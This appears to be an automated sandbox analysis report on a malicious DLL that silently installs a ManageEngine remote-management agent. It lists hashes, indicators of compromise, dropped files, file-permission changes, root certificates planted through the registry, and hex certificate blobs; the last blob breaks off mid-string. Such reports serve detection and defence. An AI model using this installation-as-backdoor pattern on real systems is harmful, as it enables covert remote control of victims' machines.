Analysis
- max time kernel
109s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
12/10/2026, 17:40
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
d92581d7ff95ed2249a0bafad63521d4d77543fd2d6d610f63744d24508912b6.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
28 signatures
150 seconds
General
- Target d92581d7ff95ed2249a0bafad63521d4d77543fd2d6d610f63744d24508912b6.dll
- Size 5.4MB
- Sample261012-v855tsywgz
- SHA256 d92581d7ff95ed2249a0bafad63521d4d77543fd2d6d610f63744d24508912b6
- MD5 589e20adb6b7836910d5349303e917dd
- SHA1 0eee03c7d206f12e3be33a3c4ac8ec79b59e05c0
- SHA512 c0da9f8d60f759393401402f9441be6a4d5a6cea9a587a08fb459d8ef84bab19a1247af99eebb8bfd3ff912cfb8c74bb04b777a21e923253ae76a6f7939c94ae
- SSDEEP 98304:3kQS2X51zWrXHakhmke59RqgQA1rdWJQdrz55xpO9K8:3kuJYekckMSglBkQdrz55PR8
- TLSH T10046C00BAAF881BAC876D039C6574AAFD7F274010531A65F57910B192F73B229F2F325
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 3464 rundll32.exe 14 3464 rundll32.exe 15 5216 msiexec.exe - DCAgent remote management tool 4 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral2/files/0x000c00000001c5fc-184.dat hacktool_dcagent behavioral2/files/0x000c00000001c632-421.dat hacktool_dcagent behavioral2/files/0x000c00000001c6a6-692.dat hacktool_dcagent behavioral2/files/0x000c00000001c620-829.dat hacktool_dcagent - Executes dropped EXE 20 IoCs
pid Process 5712 CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe 4992 dcagentregister.exe 4956 7za.exe 2052 dcagentservice.exe 3136 7za.exe 4472 7za.exe 4424 dcstatusutil.exe 1584 dcagentservice.exe 3084 CRU_Reporter.exe 4788 dcinventory.exe 4136 dcconfig.exe 5344 dcusbsummary.exe 6104 dcusb64.exe 3644 dcstatusutil.exe 3236 dcondemand.exe 1228 dcagentregister.exe 5560 dcswmeter.exe 1992 dcinventory.exe 5836 dcconfig.exe 5992 dcconfig.exe - Loads dropped DLL 64 IoCs
pid Process 2172 MsiExec.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 4992 dcagentregister.exe 2052 dcagentservice.exe 4424 dcstatusutil.exe 4424 dcstatusutil.exe 4424 dcstatusutil.exe 4424 dcstatusutil.exe 4424 dcstatusutil.exe 4424 dcstatusutil.exe 4424 dcstatusutil.exe 4424 dcstatusutil.exe 4424 dcstatusutil.exe 1584 dcagentservice.exe 4788 dcinventory.exe 5344 dcusbsummary.exe 4788 dcinventory.exe 4136 dcconfig.exe 4788 dcinventory.exe 4136 dcconfig.exe 4788 dcinventory.exe 4136 dcconfig.exe 4136 dcconfig.exe 3644 dcstatusutil.exe 4136 dcconfig.exe 1228 dcagentregister.exe 1228 dcagentregister.exe 3236 dcondemand.exe 3644 dcstatusutil.exe 3644 dcstatusutil.exe 3644 dcstatusutil.exe 3644 dcstatusutil.exe 3236 dcondemand.exe 5560 dcswmeter.exe 1228 dcagentregister.exe 3236 dcondemand.exe 1228 dcagentregister.exe 1992 dcinventory.exe 1228 dcagentregister.exe - Modifies file permissions 1 TTPs 5 IoCs
pid Process 3520 icacls.exe 2440 icacls.exe 3608 icacls.exe 4316 icacls.exe 2712 icacls.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\CRCLIeNt.Dll rundll32.exe File opened for modification C:\Windows\system32\rundll32.exe rundll32.exe File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File created C:\Windows\SysWOW64\dcagentlibxml2.dll msiexec.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 6036 WScript.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcPrivateKeys.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cold_normal_msghldr.gif 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UIControls.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentserviceaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcswmeteraccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\hot_mover.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Archive_fail.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\reboot_alert.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcagentservice.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CorePoliciesDll.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\global_data_store.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_cs_CZ.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcondemand.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\uesmsghandler.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uemscom.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_zh_CN.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_user.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentremofficehistory.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_555555_256x240.png 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\arrow_pull_left.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh_inactive.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcparsehandler.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\downloadFailureAccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ohotfix.ini 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cfgUpdate.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\selfserviceportal.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\usbeDevicelist.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ues_deviceaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchcollectionstatusaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\meaaprovisioningaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\detected.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdsagentwindow.exe.config 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc4736.tmp dcstatusutil.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcondemandhangaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Idea.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker_Temp.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12 dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Warning_icon.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\mdmregistrationhandler.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ecdatatransfer_access.log dcstatusutil.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_uninstall.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\Tools.vbs msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uems_crypto_x64.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentQPPMupgrade.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UEMSRemoteInstallerService.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\otp-lock.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcerror.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdmsclientaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_button.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\partialApp.json msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcannouncement.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_sv_SE.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CompVulnDetection.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcagentservice.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchdownloadaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\WakeOnLan.exe.config 7za.exe - Drops file in Windows directory 19 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI1BC4.tmp msiexec.exe File created C:\Windows\Installer\e5ab641.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIBD27.tmp msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File created C:\Windows\SystemTemp\~DFD868CF8F9A65D7C0.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DF77A514A195FEDA59.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIC391.tmp msiexec.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File opened for modification C:\Windows\Installer\e5ab641.msi msiexec.exe File opened for modification C:\Windows\Installer\e5ab642.mst msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File created C:\Windows\SystemTemp\~DF9772637FB6F446E4.TMP msiexec.exe File created C:\Windows\Installer\e5ab642.mst msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DFDAC522288702C64B.TMP msiexec.exe File created C:\Windows\Installer\e5ab64a.msi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4412 cmd.exe 4732 cmd.exe 1984 cmd.exe 2956 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 8 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B5468EE22A95EB79E63FF11303A91A40C1C60A9D\Blob = 140000000100000014000000fd1c434801209f3fc55df0af4c62c97544331c00030000000100000014000000b5468ee22a95eb79e63ff11303a91a40c1c60a9d0f00000001000000200000009f0e82b6aefdf39fd0d5c515a924a045e5092c09e31b741082dc14985c6c3efc2000000001000000f0030000308203ec308202d4a003020102020868e819d074d782cf300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303931333130353932385a180f32303531303931333130353932385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d6ce20e4f938956912b2f165013f8128e2fabc7e189fc119f09790973a01d4aa3f188785bbaef80a2d861cc8a37c9625d47095540c58f5206f1aecca5ba56452e028d40fb9aa3090cbd17ddee3cbe355ccf106c12908b0ed7129adf60715cf0e5889ad13603fc35b31dd97734882c5ebf87d5dd374df6072dd598770e873430521821e2aa91690f4e6d49815e5ca0d303a446c7b581122b2a91ac0d0f7832a0c88637b3ddaa2ab672a94a8a22aa8ff8ecfdc3ffef4dfa2dff64f41aba7929948c20f265d56e7af56576bf625319abfc19bf0a5008e2e4cdc1e4fe2ab58be6d1264b5e93801dfd269def532e3d70b84632e2c20b5aaf0c20316d0a4c81adf233b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414fd1c434801209f3fc55df0af4c62c97544331c00301f0603551d23041830168014fd1c434801209f3fc55df0af4c62c97544331c00300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101003bc56ab7a79a4d525dd420fe5fd138284b8ace1ec22eb87133541430cc997c1a2347899495914c404adf257362118fef19cf9f4d048d051d5fa1dc910d2bc4f9255b6cb54faf8f00e2d7c97580097b5327353c3a1f72f8492f1f79d4740370e40a8e6e34fbbd0e3dbf8c8e46a165a34a0473ede3d77ade940e32966b162428ae786d825f6e71ab92b187be5ac8c20dd165c74f77bf6082b19491d227b2527e3b5950c1c2e7bc4e94963a689eb889662fffe90528add037ae4dda1d4200a25f2b1a8ee926bd426d4f1daf117aff6b5cf9f3af51e21bdf67b603ced4c9a71344bd3a999dba3ac915b4d702b23a38924c584e2159cc671d287aee0df86ec41a045e dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\FE5CF97E62DAFD5357D7AF6B47EA6DE4EB1CD6DC\Blob = 190000000100000010000000de0afb97b41bf3a63d9b2a2f38db7cb50f0000000100000020000000879020249acd491df86d665feed6eeccb75b8cd8651c9566d088c951f1decd24030000000100000014000000fe5cf97e62dafd5357d7af6b47ea6de4eb1cd6dc140000000100000014000000a73dda742ec1c49c70da42fc223546e93ecf298d2000000001000000d8030000308203d4308202bca003020102020860ffb805212d4def300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303931333130353932375a180f32303531303931333130353932375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d8b02ec4063efe2715dc9e0813067b8d67dc8f7afdd70e6b56cfa1ff3c2cb6005fac16dc3b26e5ba762fe6327ff7fb48bcf3c035d60230bfa9c39d5865e82f0d92eb098b8914cf1018322a62993236a987fb0bf07eff124c28c3e044fe05228bac2c551d2df88ecf772519dab8fbf18a22de7bc636ad245b14234ac402afb3eee3b8c4b3d4ab0e25cfcece336e49743ef04ec327e61e909b28c17e91fec502a82d4a09c68aeb5923267462e4dc61fdc0078d50187da80aa8fe924b22aa639c1357d7624bf6c2b726dda7c75d3197363717a10f41ef2cf28de0a8b165ebeb1783bff47837f50ff54945f9add5c678e4d81807b44b85896b96511594a1aa49f3cf0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414a73dda742ec1c49c70da42fc223546e93ecf298d301f0603551d23041830168014a73dda742ec1c49c70da42fc223546e93ecf298d300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100995fb3750267896cd5a565a35d695db8b9eb3a13c2e5baa5caf06e9f36baf35ad025c75e42a2c3ede460af369e293f0e5fc1fb8dd14743c5361310b745f3a83a2d75e1d510eb9c797fd12b3ea389cd8374d5c5484a8c58f4f3c3fc2666fe448f7826532a6c36fb4eb31f7251b13bcc95cc9667f75f46cfd945001a45d8a2160ad863cff3d09fd9dcf7f765eaee43b98621801ba9c512bb3b02b2078d8c09cc3bb0a3145b4abfa67edf3310fa124112d97795b683e9eb5ee591620f93641d1440a33a167ae55f0437dcd2238a15d0dd346f6178444a679d0636d6c2be2545baa0a4efdb1689bf2c91464c1e4458a05822974a5225ed3a7219b443073212118fe1 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B5468EE22A95EB79E63FF11303A91A40C1C60A9D\Blob = 1900000001000000100000007a00d36c8fba80849409a59932275c020f00000001000000200000009f0e82b6aefdf39fd0d5c515a924a045e5092c09e31b741082dc14985c6c3efc030000000100000014000000b5468ee22a95eb79e63ff11303a91a40c1c60a9d140000000100000014000000fd1c434801209f3fc55df0af4c62c97544331c002000000001000000f0030000308203ec308202d4a003020102020868e819d074d782cf300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303931333130353932385a180f32303531303931333130353932385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d6ce20e4f938956912b2f165013f8128e2fabc7e189fc119f09790973a01d4aa3f188785bbaef80a2d861cc8a37c9625d47095540c58f5206f1aecca5ba56452e028d40fb9aa3090cbd17ddee3cbe355ccf106c12908b0ed7129adf60715cf0e5889ad13603fc35b31dd97734882c5ebf87d5dd374df6072dd598770e873430521821e2aa91690f4e6d49815e5ca0d303a446c7b581122b2a91ac0d0f7832a0c88637b3ddaa2ab672a94a8a22aa8ff8ecfdc3ffef4dfa2dff64f41aba7929948c20f265d56e7af56576bf625319abfc19bf0a5008e2e4cdc1e4fe2ab58be6d1264b5e93801dfd269def532e3d70b84632e2c20b5aaf0c20316d0a4c81adf233b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414fd1c434801209f3fc55df0af4c62c97544331c00301f0603551d23041830168014fd1c434801209f3fc55df0af4c62c97544331c00300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101003bc56ab7a79a4d525dd420fe5fd138284b8ace1ec22eb87133541430cc997c1a2347899495914c404adf257362118fef19cf9f4d048d051d5fa1dc910d2bc4f9255b6cb54faf8f00e2d7c97580097b5327353c3a1f72f8492f1f79d4740370e40a8e6e34fbbd0e3dbf8c8e46a165a34a0473ede3d77ade940e32966b162428ae786d825f6e71ab92b187be5ac8c20dd165c74f77bf6082b19491d227b2527e3b5950c1c2e7bc4e94963a689eb889662fffe90528add037ae4dda1d4200a25f2b1a8ee926bd426d4f1daf117aff6b5cf9f3af51e21bdf67b603ced4c9a71344bd3a999dba3ac915b4d702b23a38924c584e2159cc671d287aee0df86ec41a045e dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\FE5CF97E62DAFD5357D7AF6B47EA6DE4EB1CD6DC\Blob = 030000000100000014000000fe5cf97e62dafd5357d7af6b47ea6de4eb1cd6dc2000000001000000d8030000308203d4308202bca003020102020860ffb805212d4def300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303931333130353932375a180f32303531303931333130353932375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d8b02ec4063efe2715dc9e0813067b8d67dc8f7afdd70e6b56cfa1ff3c2cb6005fac16dc3b26e5ba762fe6327ff7fb48bcf3c035d60230bfa9c39d5865e82f0d92eb098b8914cf1018322a62993236a987fb0bf07eff124c28c3e044fe05228bac2c551d2df88ecf772519dab8fbf18a22de7bc636ad245b14234ac402afb3eee3b8c4b3d4ab0e25cfcece336e49743ef04ec327e61e909b28c17e91fec502a82d4a09c68aeb5923267462e4dc61fdc0078d50187da80aa8fe924b22aa639c1357d7624bf6c2b726dda7c75d3197363717a10f41ef2cf28de0a8b165ebeb1783bff47837f50ff54945f9add5c678e4d81807b44b85896b96511594a1aa49f3cf0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414a73dda742ec1c49c70da42fc223546e93ecf298d301f0603551d23041830168014a73dda742ec1c49c70da42fc223546e93ecf298d300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100995fb3750267896cd5a565a35d695db8b9eb3a13c2e5baa5caf06e9f36baf35ad025c75e42a2c3ede460af369e293f0e5fc1fb8dd14743c5361310b745f3a83a2d75e1d510eb9c797fd12b3ea389cd8374d5c5484a8c58f4f3c3fc2666fe448f7826532a6c36fb4eb31f7251b13bcc95cc9667f75f46cfd945001a45d8a2160ad863cff3d09fd9dcf7f765eaee43b98621801ba9c512bb3b02b2078d8c09cc3bb0a3145b4abfa67edf3310fa124112d97795b683e9eb5ee591620f93641d1440a33a167ae55f0437dcd2238a15d0dd346f6178444a679d0636d6c2be2545baa0a4efdb1689bf2c91464c1e4458a05822974a5225ed3a7219b443073212118fe1 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B5468EE22A95EB79E63FF11303A91A40C1C60A9D\Blob = 030000000100000014000000b5468ee22a95eb79e63ff11303a91a40c1c60a9d2000000001000000f0030000308203ec308202d4a003020102020868e819d074d782cf300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303931333130353932385a180f32303531303931333130353932385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d6ce20e4f938956912b2f165013f8128e2fabc7e189fc119f09790973a01d4aa3f188785bbaef80a2d861cc8a37c9625d47095540c58f5206f1aecca5ba56452e028d40fb9aa3090cbd17ddee3cbe355ccf106c12908b0ed7129adf60715cf0e5889ad13603fc35b31dd97734882c5ebf87d5dd374df6072dd598770e873430521821e2aa91690f4e6d49815e5ca0d303a446c7b581122b2a91ac0d0f7832a0c88637b3ddaa2ab672a94a8a22aa8ff8ecfdc3ffef4dfa2dff64f41aba7929948c20f265d56e7af56576bf625319abfc19bf0a5008e2e4cdc1e4fe2ab58be6d1264b5e93801dfd269def532e3d70b84632e2c20b5aaf0c20316d0a4c81adf233b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414fd1c434801209f3fc55df0af4c62c97544331c00301f0603551d23041830168014fd1c434801209f3fc55df0af4c62c97544331c00300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101003bc56ab7a79a4d525dd420fe5fd138284b8ace1ec22eb87133541430cc997c1a2347899495914c404adf257362118fef19cf9f4d048d051d5fa1dc910d2bc4f9255b6cb54faf8f00e2d7c97580097b5327353c3a1f72f8492f1f79d4740370e40a8e6e34fbbd0e3dbf8c8e46a165a34a0473ede3d77ade940e32966b162428ae786d825f6e71ab92b187be5ac8c20dd165c74f77bf6082b19491d227b2527e3b5950c1c2e7bc4e94963a689eb889662fffe90528add037ae4dda1d4200a25f2b1a8ee926bd426d4f1daf117aff6b5cf9f3af51e21bdf67b603ced4c9a71344bd3a999dba3ac915b4d702b23a38924c584e2159cc671d287aee0df86ec41a045e dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\FE5CF97E62DAFD5357D7AF6B47EA6DE4EB1CD6DC\Blob = 0f0000000100000020000000879020249acd491df86d665feed6eeccb75b8cd8651c9566d088c951f1decd24030000000100000014000000fe5cf97e62dafd5357d7af6b47ea6de4eb1cd6dc2000000001000000d8030000308203d4308202bca003020102020860ffb805212d4def300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303931333130353932375a180f32303531303931333130353932375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d8b02ec4063efe2715dc9e0813067b8d67dc8f7afdd70e6b56cfa1ff3c2cb6005fac16dc3b26e5ba762fe6327ff7fb48bcf3c035d60230bfa9c39d5865e82f0d92eb098b8914cf1018322a62993236a987fb0bf07eff124c28c3e044fe05228bac2c551d2df88ecf772519dab8fbf18a22de7bc636ad245b14234ac402afb3eee3b8c4b3d4ab0e25cfcece336e49743ef04ec327e61e909b28c17e91fec502a82d4a09c68aeb5923267462e4dc61fdc0078d50187da80aa8fe924b22aa639c1357d7624bf6c2b726dda7c75d3197363717a10f41ef2cf28de0a8b165ebeb1783bff47837f50ff54945f9add5c678e4d81807b44b85896b96511594a1aa49f3cf0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414a73dda742ec1c49c70da42fc223546e93ecf298d301f0603551d23041830168014a73dda742ec1c49c70da42fc223546e93ecf298d300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100995fb3750267896cd5a565a35d695db8b9eb3a13c2e5baa5caf06e9f36baf35ad025c75e42a2c3ede460af369e293f0e5fc1f